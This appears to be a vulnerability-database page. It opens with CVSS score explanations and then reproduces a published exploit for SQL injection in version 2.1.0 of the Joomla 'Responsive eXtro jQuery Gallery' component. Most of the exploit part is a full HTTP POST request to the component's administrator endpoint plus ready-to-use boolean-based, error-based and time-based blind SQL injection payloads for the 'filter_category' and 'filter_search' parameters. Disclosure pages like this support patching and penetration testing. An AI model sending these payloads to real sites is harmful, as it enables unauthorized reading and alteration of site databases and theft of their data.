The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
Low
A
There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
Below is a copy: Joomla Component Responsive eXtro jQuery Gallery 2.1.0 filter_category SQL Injection
# Exploit Title: Joomla Component Responsive eXtro jQuery Gallery 2.1.0 - 'filter_category' SQL Injection
# Dork: N/A
# Date: 2018-10-25
# Exploit Author: zkan Mustafa Akku (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://extro.media/
# Software Link: https://demo.extro.media/responsive-joomla-extensions-en/responsive-gallery
# Version: 2.1.0
# Category: Webapps
# Tested on: Kali linux
# Description : An attacker can execute SQL commands through parameters that contain vulnerable.
# An authorized user can use the filtering feature and can fully authorize
# the database or other server informations.
# 'filter_category' and 'filter_search' parameters have the same vulnerable.
# PoC : SQLi :
POST /administrator/index.php?option=com_emgallery&view=emgallery HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://TARGET/administrator/index.php?option=com_emgallery
Cookie: 2e7fc5dc4e4ce76c3319e1db921484ac=eqgcirsi6m53s6vbi7bbgng1n5;
48bd4f2f65b6c84d32f8704444f9b24c=pmt3k8q4qv1o7of19d2cjo6p21
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 151
filter_category=0&filter_search=&list%5Blimit%5D=100&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0e53a883a46b480b689e343b1c8a401=1
# Parameter: filter_category (POST)
# Type: boolean-based blind
# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
# Payload:
filter_category=-7022 OR 5787=5787#&filter_search=&list%5Blimit%5D=100&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0e53a883a46b480b689e343b1c8a401=1
# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload:
filter_category=1 AND (SELECT 5756 FROM(SELECT COUNT(*),CONCAT(0x7162706271,(SELECT(ELT(5756=5756,1))),0x7170706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&filter_search=&list%5Blimit%5D=100&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0e53a883a46b480b689e343b1c8a401=1
# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
# Payload:
filter_category=1 AND SLEEP(5)&filter_search=&list%5Blimit%5D=100&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0e53a883a46b480b689e343b1c8a401=1
# Parameter: filter_search (POST)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
# Payload:
filter_category=0&filter_search=" AND 8748=8748#&list%5Blimit%5D=100&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0e53a883a46b480b689e343b1c8a401=1
# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload:
filter_category=0&filter_search=" AND (SELECT 2429 FROM(SELECT COUNT(*),CONCAT(0x71766b7671,(SELECT(ELT(2429=2429,1))),0x71627a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--zyPZ&list%5Blimit%5D=100&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0e53a883a46b480b689e343b1c8a401=1
# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
# Payload:
filter_category=0&filter_search=" AND SLEEP(5)--fDVO&list%5Blimit%5D=100&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0e53a883a46b480b689e343b1c8a401=1
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